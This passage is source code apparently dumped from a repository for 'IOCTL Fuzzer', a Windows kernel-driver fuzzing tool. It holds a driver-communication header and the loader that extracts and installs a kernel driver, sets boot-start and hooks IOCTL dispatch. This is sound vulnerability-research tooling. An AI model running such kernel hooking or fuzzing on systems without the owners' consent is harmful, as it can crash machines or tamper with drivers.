\n \n \n \n \n\n\n \n \n \n\n\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/drvcomm.h", "content": "#define DEVICE_NAME L\"IOCTLfuzzer\"\n#define DBG_PIPE_NAME L\"IOCTLfuzzer\"\n#define DBG_PIPE_NAME_A \"IOCTLfuzzer\"\n\n#define IOCTL_DRV_CONTROL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x01, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)\n\n#define S_ERROR 0x00\n#define S_SUCCESS 0x01\n\n#define C_ADD_DEVICE 0x01\n#define C_ADD_DRIVER 0x02\n#define C_ADD_IOCTL 0x03\n#define C_ADD_PROCESS 0x04\n#define C_SET_OPTIONS 0x05\n#define C_GET_DEVICE_INFO 0x06\n#define C_CHECK_HOOKS 0x07\n#define C_DEL_OPTIONS 0x08\n#define C_GET_OBJECT_NAME 0x09\n\n// fuzzing options\n#define FUZZ_OPT_LOG_IOCTL 0x00000001\n#define FUZZ_OPT_LOG_IOCTL_BUFFERS 0x00000002\n#define FUZZ_OPT_LOG_IOCTL_GLOBAL 0x00000004\n#define FUZZ_OPT_LOG_EXCEPTIONS 0x00000008\n#define FUZZ_OPT_LOG_DEBUG 0x00000010\n#define FUZZ_OPT_FUZZ 0x00000020\n#define FUZZ_OPT_FUZZ_SIZE 0x00000040\n#define FUZZ_OPT_FUZZ_FAIR 0x00000080\n#define FUZZ_OPT_FUZZ_BOOT 0x00000100\n#define FUZZ_OPT_NO_SDT_HOOKS 0x00000200\n\ntypedef ULONG FUZZING_TYPE;\n\n#define FuzzingType_Random 0x00000001\n#define FuzzingType_Dword 0x00000002\n\n// area to store some variables, that must located in user mode\n#pragma pack(push, 1)\ntypedef struct _USER_MODE_DATA\n{\n IO_STATUS_BLOCK IoStatus;\n\n} USER_MODE_DATA,\n*PUSER_MODE_DATA;\n#pragma pack(pop)\n\n#define MAX_REQUEST_STRING 0x100\n\n#pragma pack(push, 1)\ntypedef struct _REQUEST_BUFFER\n{\n // operation status (see S_* definitions)\n ULONG Status;\n \n // operation code (see C_* definitions)\n ULONG Code;\n\n union\n {\n struct\n {\n ULONG Options;\n ULONG FuzzThreadId;\n FUZZING_TYPE FuzzingType;\n PUSER_MODE_DATA UserModeData;\n ULONG KiDispatchException_Offset;\n\n } Options;\n\n struct\n {\n PVOID DeviceObjectAddr;\n PVOID DriverObjectAddr;\n char szDriverObjectName[MAX_REQUEST_STRING];\n char szDriverFilePath[MAX_REQUEST_STRING];\n\n } DeviceInfo;\n\n struct\n {\n // for C_ADD_IOCTL\n ULONG IoctlCode;\n\n // for all C_ADD_*\n BOOLEAN bAllow;\n\n // for C_ADD_DEVICE, C_ADD_DRIVER and C_ADD_PROCESS\n char szObjectName[MAX_REQUEST_STRING];\n\n /* \n If TRUE -- debugger command, that stored in Buff[], \n must be executed for every IOCTL, that has been matched\n by this object.\n */\n BOOLEAN bDbgcbAction;\n\n } AddObject;\n\n struct\n {\n HANDLE hObject;\n char szObjectName[MAX_REQUEST_STRING];\n\n } ObjectName;\n\n struct\n {\n BOOLEAN bHooksInstalled;\n\n } CheckHooks;\n }; \n \n char Buff[1];\n\n} REQUEST_BUFFER,\n*PREQUEST_BUFFER;\n#pragma pack(pop)\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.cpp", "content": "#include \"stdafx.h\"\n\n//unresolved external symbol __imp__StrToIntExA@12\n#pragma comment(lib, \"Shlwapi.lib\")\n//unresolved external symbol _VerQueryValueA@16\n#pragma comment(lib, \"version.lib\")\n//unresolved external symbol __imp__InitCommonControls@0\n#pragma comment(lib, \"comctl32.lib\") \n\n#ifdef _AMD64_\n#pragma comment(lib,\"dbgsdk\\\\lib\\\\amd64\\\\dbghelp.lib\") \n#pragma comment(lib, \"lib\\\\amd64\\\\comsupp.lib\")\n#else\n#pragma comment(lib,\"dbgsdk\\\\lib\\\\i386\\\\dbghelp.lib\") \n#pragma comment(lib, \"lib\\\\comsupp.lib\")\n#endif\n\n//\n\n#define RESOURCE_NAME_DRIVER32 \"DRIVER32\"\n#define RESOURCE_NAME_DRIVER64 \"DRIVER64\"\n\n#define GLOBAL_MUTEX_NAME \"Global\\\\\" DRIVER_SERVICE_NAME \"_Mutex\"\n\nUSER_MODE_DATA m_UserModeData;\nDWORD m_dwFuzzThreadId = 0;\nHANDLE hDevice = NULL;\n\n// fuzzing type and other actual options\nFUZZING_TYPE m_FuzzingType = DEFAULT_FUZZING_TYPE;\nDWORD m_dwOptions = 0;\n\n// don't install any hooks (usefull for attack surface analysis feature)\nBOOL m_bNoHooks = FALSE;\n\n// TRUE if remote kernel debugger is not present\nBOOL m_bDebuggerNotPresent = FALSE;\n\n// defined in debug.cpp\nextern HANDLE hDbgLogfile;\n\nBOOL m_bBoot = FALSE;\n/**\n* kernel32!Get[Set]ConsoleScreenBufferInfoEx() functions prsent\n* only on NT 6.x\n*/\ntypedef BOOL (WINAPI * GET_SET_CONSOLE_SCREEN_BUFFER_INFO_EX)(\n HANDLE hConsoleOutput,\n PCONSOLE_SCREEN_BUFFER_INFOEX lpConsoleScreenBufferInfoEx\n);\n//--------------------------------------------------------------------------------------\nBOOL GetOption(IXMLDOMNode *pIDOMNode, PWSTR lpwcName, PBOOL pbVal)\n{\n BOOL bRet = FALSE;\n char *lpszVal = NULL;\n\n if (ConfAllocGetTextByNameA(pIDOMNode, lpwcName, &lpszVal))\n {\n bRet = TRUE;\n\n if (!strcmp(strlwr(lpszVal), \"true\"))\n {\n *pbVal = TRUE;\n }\n else if (!strcmp(strlwr(lpszVal), \"false\"))\n {\n *pbVal = FALSE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"WARNING: invalid value for option '%ws'\\r\\n\", lpwcName);\n bRet = FALSE;\n }\n\n M_FREE(lpszVal);\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nvoid ParseAllowDenySection(IXMLDOMNode *pIDOMNode, BOOL bAllow, BOOL bDbgcbAction)\n{\n struct \n {\n LPCWSTR lpNodeName;\n LPCWSTR lpObjectName;\n ULONG Code;\n\n } Objects[] = {\n\n { L\"drivers\", L\"driver\", C_ADD_DRIVER },\n { L\"devices\", L\"device\", C_ADD_DEVICE },\n { L\"ioctls\", L\"ioctl\", C_ADD_IOCTL },\n { L\"processes\", L\"process\", C_ADD_PROCESS },\n { NULL, NULL, 0 }\n };\n\n /*\n Old-style allow/deny lists parsing:\n --------------------------------------\n\n \n SomeName_1\n SomeName_2\n ...\n SomeName_N\n \n */\n for (int ob = 0; Objects[ob].lpNodeName != NULL; ob++)\n {\n // get objects list node\n IXMLDOMNode *pIDOMObjectsNode = ConfGetNodeByName((BSTR)Objects[ob].lpNodeName, pIDOMNode);\n if (pIDOMObjectsNode) \n {\n IXMLDOMNodeList *pIDOMNodeList = NULL;\n\n // enumerate available object names\n HRESULT hr = pIDOMObjectsNode->get_childNodes(&pIDOMNodeList);\n if (SUCCEEDED(hr))\n {\n LONG len = 0;\n pIDOMNodeList->get_length(&len);\n\n DbgMsg(__FILE__, __LINE__, \"\\\"%ws\\\":\\r\\n\", Objects[ob].lpNodeName);\n\n for (int i = 0; i < len; i++)\n { \n IXMLDOMNode *pIDOMChildNode = NULL;\n\n // get single object name\n hr = pIDOMNodeList->get_item(i, &pIDOMChildNode);\n if (SUCCEEDED(hr))\n {\n char *lpszObjectName = NULL;\n if (ConfGetNodeTextA(pIDOMChildNode, &lpszObjectName))\n {\n REQUEST_BUFFER Buff;\n ZeroMemory(&Buff, sizeof(Buff));\n Buff.Code = Objects[ob].Code;\n Buff.AddObject.bAllow = bAllow;\n\n if (Objects[ob].Code == C_ADD_IOCTL)\n {\n DWORD dwIoctlCode = 0;\n\n // parse hexadecimal IOCTL code value\n if (StrToIntEx(lpszObjectName, STIF_SUPPORT_HEX, (int *)&dwIoctlCode))\n {\n DbgMsg(__FILE__, __LINE__, \" - 0x%.8x\\r\\n\", dwIoctlCode); \n\n Buff.AddObject.IoctlCode = dwIoctlCode;\n DrvDeviceRequest(&Buff, sizeof(Buff));\n } \n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): StrToIntEx() ERROR %d\\n\", GetLastError());\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \" - \\\"%s\\\"\\r\\n\", lpszObjectName);\n\n // object name is a string value (process/driver/device name)\n lstrcpy(Buff.AddObject.szObjectName, lpszObjectName);\n DrvDeviceRequest(&Buff, sizeof(Buff));\n } \n\n M_FREE(lpszObjectName);\n }\n\n pIDOMChildNode->Release(); \n }\n } \n\n pIDOMNodeList->Release();\n }\n\n pIDOMObjectsNode->Release();\n }\n } \n\n /*\n New allow/deny lists parsing:\n --------------------------------------\n\n \n \n ...\n \n */ \n\n // enumerate available objects\n IXMLDOMNodeList *pIDOMNodeList = NULL;\n HRESULT hr = pIDOMNode->get_childNodes(&pIDOMNodeList);\n if (SUCCEEDED(hr))\n {\n LONG len = 0;\n pIDOMNodeList->get_length(&len);\n\n for (int i = 0; i < len; i++)\n { \n IXMLDOMNode *pIDOMChildNode = NULL;\n\n // get single object node\n hr = pIDOMNodeList->get_item(i, &pIDOMChildNode);\n if (SUCCEEDED(hr))\n {\n // get node name (object type)\n BSTR ChildNodeName = NULL;\n hr = pIDOMChildNode->get_nodeName(&ChildNodeName);\n if (SUCCEEDED(hr))\n {\n // lookup object type by name\n for (int ob = 0; Objects[ob].lpObjectName != NULL; ob++)\n {\n if (!wcscmp(Objects[ob].lpObjectName, ChildNodeName))\n {\n DWORD dwOptionalBuffLen = 0;\n char *lpszObjectName = NULL, *lpszOptionalBuff = NULL;\n\n /*\n Query node value: for dbgcb objects list it contains\n debugger command, that must be executet for each IOCTL, \n matched by this object.\n */\n if (bDbgcbAction &&\n ConfGetNodeTextA(pIDOMChildNode, &lpszOptionalBuff) && \n lpszOptionalBuff)\n {\n dwOptionalBuffLen = (DWORD)strlen(lpszOptionalBuff) + 1;\n }\n\n if (ConfGetNodeAttributeA(pIDOMChildNode, L\"val\", &lpszObjectName))\n {\n DWORD dwBuffSize = sizeof(REQUEST_BUFFER) + dwOptionalBuffLen;\n PREQUEST_BUFFER Buff = (PREQUEST_BUFFER)M_ALLOC(dwBuffSize);\n if (Buff)\n {\n ZeroMemory(Buff, dwBuffSize);\n Buff->Code = Objects[ob].Code;\n Buff->AddObject.bAllow = bAllow;\n Buff->AddObject.bDbgcbAction = bDbgcbAction;\n\n if (lpszOptionalBuff)\n {\n lstrcpy(Buff->Buff, lpszOptionalBuff);\n }\n\n if (Objects[ob].Code == C_ADD_IOCTL)\n {\n DWORD dwIoctlCode = 0;\n\n // parse hexadecimal IOCTL code value\n if (StrToIntEx(lpszObjectName, STIF_SUPPORT_HEX, (int *)&dwIoctlCode))\n {\n if (bDbgcbAction)\n {\n DbgMsg(\n __FILE__, __LINE__, \"Object=\\\"%ws\\\" Value=0x%.8x KdCommand=\\\"%s\\\"\\r\\n\",\n Objects[ob].lpObjectName, dwIoctlCode,\n lpszOptionalBuff ? lpszOptionalBuff : \"\"\n );\n }\n else\n {\n DbgMsg(\n __FILE__, __LINE__, \"Object=\\\"%ws\\\" Value=0x%.8x\\r\\n\",\n Objects[ob].lpObjectName, dwIoctlCode\n );\n } \n\n Buff->AddObject.IoctlCode = dwIoctlCode;\n DrvDeviceRequest(Buff, dwBuffSize);\n } \n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): StrToIntEx() ERROR %d\\n\", GetLastError());\n }\n }\n else\n {\n if (bDbgcbAction)\n {\n DbgMsg(\n __FILE__, __LINE__, \"Object=\\\"%ws\\\" Value=\\\"%s\\\" KdCommand=\\\"%s\\\"\\r\\n\", \n Objects[ob].lpObjectName, lpszObjectName,\n lpszOptionalBuff ? lpszOptionalBuff : \"\"\n );\n }\n else\n {\n DbgMsg(\n __FILE__, __LINE__, \"Object=\\\"%ws\\\" Value=\\\"%s\\\"\\r\\n\", \n Objects[ob].lpObjectName, lpszObjectName\n );\n } \n\n // object name is a string value (process/driver/device name)\n lstrcpy(Buff->AddObject.szObjectName, lpszObjectName);\n DrvDeviceRequest(Buff, dwBuffSize);\n } \n\n M_FREE(Buff);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() ERROR %d\\r\\n\", GetLastError());\n }\n\n M_FREE(lpszObjectName);\n }\n\n if (lpszOptionalBuff)\n {\n M_FREE(lpszOptionalBuff);\n }\n\n break;\n }\n }\n } \n\n if (ChildNodeName)\n {\n SysFreeString(ChildNodeName);\n }\n\n pIDOMChildNode->Release(); \n }\n } \n\n pIDOMNodeList->Release();\n }\n}\n//--------------------------------------------------------------------------------------\nBOOL SetOptions(DWORD dwOptions, FUZZING_TYPE FuzzingType)\n{\n REQUEST_BUFFER Buff;\n ZeroMemory(&Buff, sizeof(Buff));\n\n Buff.Code = C_SET_OPTIONS;\n Buff.Options.Options = dwOptions;\n Buff.Options.FuzzingType = FuzzingType;\n Buff.Options.UserModeData = &m_UserModeData;\n Buff.Options.FuzzThreadId = m_dwFuzzThreadId;\n\n m_dwOptions = dwOptions;\n m_FuzzingType = FuzzingType;\n\n // send options to the driver\n return DrvDeviceRequest(&Buff, sizeof(REQUEST_BUFFER));\n}\n//--------------------------------------------------------------------------------------\nBOOL SetDefaultOptions(void)\n{\n DWORD dwOptions = FUZZ_OPT_LOG_DEBUG;\n\n dwOptions |= FUZZ_OPT_LOG_IOCTL;\n dwOptions |= FUZZ_OPT_LOG_IOCTL_GLOBAL;\n\n if (m_bNoHooks)\n {\n dwOptions |= FUZZ_OPT_NO_SDT_HOOKS;\n }\n\n // send options to the driver\n return SetOptions(dwOptions, DEFAULT_FUZZING_TYPE);\n}\n//--------------------------------------------------------------------------------------\nBOOL ParseConfig(char *lpszCfgFileName)\n{\n PVOID Data = NULL;\n DWORD dwDataSize = 0;\n BOOL bRet = FALSE;\n\n // read config file\n if (ReadFromFile(lpszCfgFileName, &Data, &dwDataSize))\n {\n PWSTR lpwcData = (PWSTR)M_ALLOC((dwDataSize + 1) * sizeof(WCHAR));\n if (lpwcData)\n {\n MultiByteToWideChar(CP_ACP, 0, (char *)Data, dwDataSize, lpwcData, dwDataSize); \n \n IXMLDOMNode *pIDOMRootNode = NULL;\n IXMLDOMDocument *pXMLDoc = NULL;\n\n // load xml document\n if (XmlLoad(lpwcData, &pXMLDoc, &pIDOMRootNode, L\"cfg\"))\n {\n // create logfile, if option is set\n char *lpszLogFilePath = NULL;\n if (ConfAllocGetTextByNameA(pIDOMRootNode, L\"log_file\", &lpszLogFilePath))\n {\n HANDLE hNewLogfile = CreateFile(\n lpszLogFilePath, \n GENERIC_READ | GENERIC_WRITE, \n FILE_SHARE_READ | FILE_SHARE_WRITE, \n NULL, \n OPEN_ALWAYS, \n FILE_ATTRIBUTE_NORMAL, \n NULL\n );\n if (hNewLogfile != INVALID_HANDLE_VALUE)\n {\n SetFilePointer(hNewLogfile, 0, NULL, FILE_END);\n\n if (hDbgLogfile != INVALID_HANDLE_VALUE)\n { \n // close old debug log\n CloseHandle(hDbgLogfile);\n hDbgLogfile = hNewLogfile;\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"CreateFile() ERROR %d\\r\\n\", GetLastError());\n DbgMsg(__FILE__, __LINE__, \"Error while creating/opening logfile at '%s'.\\r\\n\", lpszLogFilePath);\n }\n\n M_FREE(lpszLogFilePath);\n }\n\n // parse allowed objects list\n IXMLDOMNode *pIDOMAllowNode = ConfGetNodeByName(L\"allow\", pIDOMRootNode);\n if (pIDOMAllowNode) \n {\n ParseAllowDenySection(pIDOMAllowNode, TRUE, FALSE);\n pIDOMAllowNode->Release();\n }\n\n // parse denied objects list\n IXMLDOMNode *pIDOMDenyNode = ConfGetNodeByName(L\"deny\", pIDOMRootNode);\n if (pIDOMDenyNode) \n {\n ParseAllowDenySection(pIDOMDenyNode, FALSE, FALSE);\n pIDOMDenyNode->Release();\n }\n\n if (!m_bDebuggerNotPresent)\n {\n // parse debugger communication engine options\n IXMLDOMNode *pIDOMDbgcbNode = ConfGetNodeByName(L\"dbgcb\", pIDOMRootNode);\n if (pIDOMDbgcbNode) \n {\n ParseAllowDenySection(pIDOMDbgcbNode, FALSE, TRUE);\n pIDOMDbgcbNode->Release();\n }\n } \n\n // parse options\n BOOL bLogRequests = TRUE, bDebugLogRequests = TRUE; \n BOOL bHexDump = FALSE;\n DWORD dwOptions = FUZZ_OPT_LOG_IOCTL_GLOBAL;\n FUZZING_TYPE FuzzingType = DEFAULT_FUZZING_TYPE; \n\n GetOption(pIDOMRootNode, L\"hex_dump\", &bHexDump);\n GetOption(pIDOMRootNode, L\"log_requests\", &bLogRequests);\n GetOption(pIDOMRootNode, L\"debug_log_requests\", &bDebugLogRequests);\n GetOption(pIDOMRootNode, L\"boot_log\", &m_bBoot);\n\n DbgMsg(__FILE__, __LINE__, \"PROGRAM OPTIONS:\\r\\n\");\n\n #define STROPT(_x_) ((_x_) ? \"Yes\" : \"No\")\n\n DbgMsg(__FILE__, __LINE__, \" 'hex_dump': %s\\r\\n\", STROPT(bHexDump));\n DbgMsg(__FILE__, __LINE__, \" 'log_requests': %s\\r\\n\", STROPT(bLogRequests));\n DbgMsg(__FILE__, __LINE__, \" 'debug_log_requests': %s\\r\\n\", STROPT(bDebugLogRequests));\n DbgMsg(__FILE__, __LINE__, \" 'bBoot': %s\\r\\n\", STROPT(m_bBoot));\n\n if (bHexDump)\n {\n dwOptions |= FUZZ_OPT_LOG_IOCTL_BUFFERS;\n }\n\n if (bLogRequests)\n {\n dwOptions |= FUZZ_OPT_LOG_IOCTL;\n }\n\n if (bDebugLogRequests)\n {\n dwOptions |= FUZZ_OPT_LOG_DEBUG;\n }\n\n if (m_bBoot)\n {\n dwOptions |= FUZZ_OPT_FUZZ_BOOT;\n }\n\n // send options to the driver\n bRet = SetOptions(dwOptions, FuzzingType);\n\n pIDOMRootNode->Release();\n pXMLDoc->Release();\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() ERROR %d\\r\\n\", GetLastError());\n }\n\n M_FREE(Data);\n }\n\n if (!bRet)\n {\n SetDefaultOptions();\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nDWORD WINAPI ApcThread(LPVOID lpParam)\n{\n while (true)\n {\n SleepEx(INFINITE, TRUE);\n }\n\n return 0;\n}\n//--------------------------------------------------------------------------------------\nBOOL WINAPI CtrlHandler(DWORD fdwCtrlType) \n{ \n if (fdwCtrlType == CTRL_C_EVENT || \n fdwCtrlType == CTRL_CLOSE_EVENT) \n { \n // Handle the CTRL-C signal. \n DbgMsg(__FILE__, __LINE__, \"Stopping application, please wait...\\r\\n\");\n\n ExitProcess(0);\n\n return TRUE;\n } \n\n return FALSE;\n}\n//--------------------------------------------------------------------------------------\nBOOL GetResPayload(HMODULE hModule, char *lpszResourceName, PVOID *Data, DWORD *dwDataSize)\n{\n HRSRC hRc = FindResource(hModule, lpszResourceName, \"BINRES\");\n if (hRc)\n {\n HGLOBAL hResData = LoadResource(hModule, hRc);\n if (hResData)\n {\n PVOID ResData = LockResource(hResData);\n if (ResData)\n {\n *dwDataSize = SizeofResource(hModule, hRc);\n if (*Data = M_ALLOC(*dwDataSize))\n {\n memcpy(*Data, ResData, *dwDataSize);\n return TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() ERROR %d\\r\\n\", GetLastError());\n } \n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"LockResource() fails\\r\\n\");\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"LoadResource() fails\\r\\n\");\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"FindResource() fails\\r\\n\");\n }\n\n return FALSE;\n} \n//--------------------------------------------------------------------------------------\n#define CHECK_SET(_item_) SendMessage(GetDlgItem(hDlg, (_item_)), BM_SETCHECK, BST_CHECKED, 0)\n#define CHECK_UNSET(_item_) SendMessage(GetDlgItem(hDlg, (_item_)), BM_SETCHECK, BST_UNCHECKED, 0)\n#define CHECK_GET(_item_) (SendMessage(GetDlgItem(hDlg, (_item_)), BM_GETCHECK, BST_CHECKED, 0) == BST_CHECKED)\n\nLRESULT CALLBACK MainDlg(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)\n{\n DWORD dwOptions = FUZZ_OPT_LOG_IOCTL_GLOBAL;\n FUZZING_TYPE FuzzingType = DEFAULT_FUZZING_TYPE;\n\n switch (message)\n {\n\n case WM_INITDIALOG:\n {\n /**\n * Initialize chekboxes for fuzzing options.\n */\n if (m_dwOptions & FUZZ_OPT_LOG_IOCTL)\n {\n CHECK_SET(IDC_LOG_CONSOLE);\n }\n\n if (m_dwOptions & FUZZ_OPT_LOG_DEBUG)\n {\n CHECK_SET(IDC_LOG_DEBUGGER);\n }\n\n if (m_dwOptions & FUZZ_OPT_LOG_IOCTL_BUFFERS)\n {\n CHECK_SET(IDC_LOG_BUFFERS);\n }\n break;\n }\n\n case WM_COMMAND:\n {\n switch (wParam)\n {\n case IDC_HIDE:\n\n ShowWindow(hDlg, SW_HIDE);\n break;\n\n case IDC_TERMINATE:\n\n DestroyWindow(hDlg);\n break;\n\n case IDC_LOG_CONSOLE:\n case IDC_LOG_DEBUGGER:\n case IDC_LOG_BUFFERS:\n /**\n * Get controls state.\n */\n\n if (CHECK_GET(IDC_LOG_CONSOLE))\n {\n dwOptions |= FUZZ_OPT_LOG_IOCTL;\n }\n\n if (CHECK_GET(IDC_LOG_DEBUGGER))\n {\n dwOptions |= FUZZ_OPT_LOG_DEBUG;\n }\n\n if (CHECK_GET(IDC_LOG_BUFFERS))\n {\n dwOptions |= FUZZ_OPT_LOG_IOCTL_BUFFERS;\n }\n\n // update fuzzing type and settings\n SetOptions(dwOptions, FuzzingType);\n \n break;\n }\n\n break;\n }\n\n case WM_CLOSE:\n {\n DestroyWindow(hDlg);\n break;\n }\n }\n\n return FALSE;\n}\n//--------------------------------------------------------------------------------------\nint _tmain(int argc, _TCHAR* argv[])\n{\n char szDriverFileName[MAX_PATH] = {0};\n char szServiceFileName[MAX_PATH] = {0};\n \n BOOL bUninstall = FALSE, bShowExceptions = FALSE, bPrintDevices = FALSE;\n\n InitCommonControls();\n\n GetSystemDirectory(szDriverFileName, sizeof(szDriverFileName));\n lstrcat(szDriverFileName, \"\\\\drivers\\\\\" DRIVER_FILE_NAME);\n lstrcpy(szServiceFileName, \"system32\\\\drivers\\\\\" DRIVER_FILE_NAME);\n\n HANDLE hGlobalMutex = CreateMutex(NULL, FALSE, GLOBAL_MUTEX_NAME);\n\n char lpszConfigPath[MAX_PATH] = {0};\n GetCurrentDirectory(sizeof(lpszConfigPath), lpszConfigPath);\n lstrcat(lpszConfigPath, \"\\\\ioctlfuzzer.xml\");\n\n // check for allready running application\n if (GetLastError() == ERROR_ALREADY_EXISTS)\n {\n MessageBox(\n 0, \n \"One copy of program is allready running.\\n\",\n \"ERROR\",\n MB_ICONERROR\n );\n\n ExitProcess(0);\n }\n\n#if defined(_X86_)\n\n BOOL bIs64 = FALSE;\n\n typedef BOOL (WINAPI * func_IsWow64Process)(\n HANDLE hProcess,\n PBOOL Wow64Process\n );\n\n func_IsWow64Process f_IsWow64Process = (func_IsWow64Process)GetProcAddress(\n GetModuleHandleA(\"kernel32.dll\"), \n \"IsWow64Process\"\n );\n if (f_IsWow64Process)\n {\n // check for WoW64 environment\n if (f_IsWow64Process(GetCurrentProcess(), &bIs64) && bIs64)\n {\n MessageBoxA(\n 0, \n \"You should use x64 version of program on Windows x64.\\n\"\n \" to exit.\",\n \"ERROR\", MB_ICONWARNING\n );\n\n ExitProcess(0);\n }\n }\n\n#endif // _X86_\n\n DbgInit(DBG_PIPE_NAME_A, IOCTLFUZZER_LOG_FILE);\n\n PSYSTEM_KERNEL_DEBUGGER_INFORMATION DebuggerInfo = (PSYSTEM_KERNEL_DEBUGGER_INFORMATION)\n GetSysInf(SystemKernelDebuggerInformation);\n if (DebuggerInfo)\n {\n // check for remote kernel debugger\n if (!DebuggerInfo->DebuggerEnabled ||\n DebuggerInfo->DebuggerNotPresent)\n {\n if (MessageBox(\n 0,\n \"Warning!\\r\\n\"\n \"Kernel debugger is not present, IOCTL Fuzzer may cause a BSoD.\\r\\n\"\n \"Continue execution?\",\n \"Warning\", MB_YESNO | MB_ICONWARNING | MB_TOPMOST) == IDNO)\n {\n ExitProcess(0);\n }\n }\n\n M_FREE(DebuggerInfo);\n }\n\n GET_SET_CONSOLE_SCREEN_BUFFER_INFO_EX f_GetConsoleScreenBufferInfoEx = \n (GET_SET_CONSOLE_SCREEN_BUFFER_INFO_EX)GetProcAddress(\n GetModuleHandle(\"kernel32.dll\"), \n \"GetConsoleScreenBufferInfoEx\"\n );\n\n GET_SET_CONSOLE_SCREEN_BUFFER_INFO_EX f_SetConsoleScreenBufferInfoEx = \n (GET_SET_CONSOLE_SCREEN_BUFFER_INFO_EX)GetProcAddress(\n GetModuleHandle(\"kernel32.dll\"), \n \"SetConsoleScreenBufferInfoEx\"\n );\n\n if (f_GetConsoleScreenBufferInfoEx &&\n f_SetConsoleScreenBufferInfoEx)\n {\n HANDLE hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE);\n CONSOLE_SCREEN_BUFFER_INFOEX ConsoleInfo;\n ConsoleInfo.cbSize = sizeof(ConsoleInfo);\n\n if (f_GetConsoleScreenBufferInfoEx(hConsoleOutput, &ConsoleInfo))\n {\n DbgMsg(\n __FILE__, __LINE__, \"[+] Changing console screen buffer height from %d to %d lines\\n\",\n ConsoleInfo.dwSize.Y, CONSOLE_BUFFER_HEIGHT\n );\n \n ConsoleInfo.dwSize.Y = CONSOLE_BUFFER_HEIGHT;\n\n // we don't need horizontal scroll bar\n ConsoleInfo.dwSize.X -= 1;\n\n if (!f_SetConsoleScreenBufferInfoEx(hConsoleOutput, &ConsoleInfo))\n {\n DbgMsg(__FILE__, __LINE__, \"SetConsoleScreenBufferInfoEx() ERROR %d\\n\", GetLastError());\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"GetConsoleScreenBufferInfoEx() ERROR %d\\n\", GetLastError());\n }\n } \n\n if (!LoadPrivileges(SE_LOAD_DRIVER_NAME))\n {\n DbgMsg(__FILE__, __LINE__, \"Error while loading 'SeLoadDriverPrivilege'\\r\\n\");\n goto end;\n }\n\n\n PVOID DriverData = NULL;\n DWORD dwDriverDataSize = 0;\n\n // extract kernel driver from resources\n#if defined(_X86_)\n if (GetResPayload(GetModuleHandle(NULL), RESOURCE_NAME_DRIVER32, &DriverData, &dwDriverDataSize))\n#else\n if (GetResPayload(GetModuleHandle(NULL), RESOURCE_NAME_DRIVER64, &DriverData, &dwDriverDataSize))\n#endif\n {\n // ... and dump it to the disk\n if (!DumpToFile(szDriverFileName, DriverData, dwDriverDataSize))\n {\n DbgMsg(__FILE__, __LINE__, \"Error while creating kernel driver file.\\r\\n\");\n goto end;\n }\n\n M_FREE(DriverData);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"Error while extracting kernel driver from resources.\\r\\n\");\n goto end;\n }\n\n if (!DrvServiceStart(DRIVER_SERVICE_NAME, szDriverFileName, NULL))\n {\n DbgMsg(__FILE__, __LINE__, \"Error while creating/starting system service for kernel driver.\\r\\n\");\n goto end;\n }\n\n if (m_bBoot)\n {\n if (!DrvServiceSetStartType(DRIVER_SERVICE_NAME, SERVICE_BOOT_START))\n {\n DbgMsg(__FILE__, __LINE__, \"Error while changing service startup type.\\r\\n\");\n goto end;\n }\n\n DbgMsg(__FILE__, __LINE__, \"Service startup type has been set to the SERVICE_BOOT_START.\\r\\n\");\n }\n else\n {\n if (!DrvServiceSetStartType(DRIVER_SERVICE_NAME, SERVICE_DEMAND_START))\n {\n DbgMsg(__FILE__, __LINE__, \"Error while changing service startup type.\\r\\n\");\n goto end;\n }\n }\n\n // create thread for kernel mode APC's\n HANDLE hThread = CreateThread(NULL, 0, ApcThread, NULL, 0, &m_dwFuzzThreadId);\n if (hThread)\n {\n DbgMsg(__FILE__, __LINE__, \"Thread for kernel mode APC's created (ID: %x)\\r\\n\", m_dwFuzzThreadId);\n CloseHandle(hThread);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"CreateThread() ERROR %d\\r\\n\", GetLastError());\n } \n\n if (DrvOpenDevice(DEVICE_NAME, &hDevice))\n {\n /**\n * Fuzzing or monitoring mode\n */\n REQUEST_BUFFER Buff;\n ZeroMemory(&Buff, sizeof(Buff));\n Buff.Code = C_DEL_OPTIONS;\n\n // delete previously saved fuzing/minitoring options\n DrvDeviceRequest(&Buff, sizeof(REQUEST_BUFFER));\n\n if (lpszConfigPath)\n {\n ParseConfig(lpszConfigPath); \n }\n else\n {\n SetDefaultOptions();\n }\n\n SetConsoleCtrlHandler(CtrlHandler, TRUE);\n \n DialogBox(GetModuleHandle(NULL), MAKEINTRESOURCE(IDD_DIALOG), NULL, (DLGPROC)MainDlg); \n\n BOOL bStopService = TRUE;\n ZeroMemory(&Buff, sizeof(Buff));\n Buff.Code = C_CHECK_HOOKS;\n\n // check for installed hooks\n if (DrvDeviceRequest(&Buff, sizeof(REQUEST_BUFFER)) &&\n Buff.CheckHooks.bHooksInstalled)\n {\n bStopService = FALSE;\n\n if (MessageBox(\n 0,\n \"Warning!\\r\\n\"\n \"Unloading of a kernel driver may be unsafe.\\r\\n\"\n \"Press to unload it, or for just a program termination.\",\n \"Exit from program\", MB_YESNO | MB_ICONWARNING | MB_TOPMOST) == IDYES)\n {\n 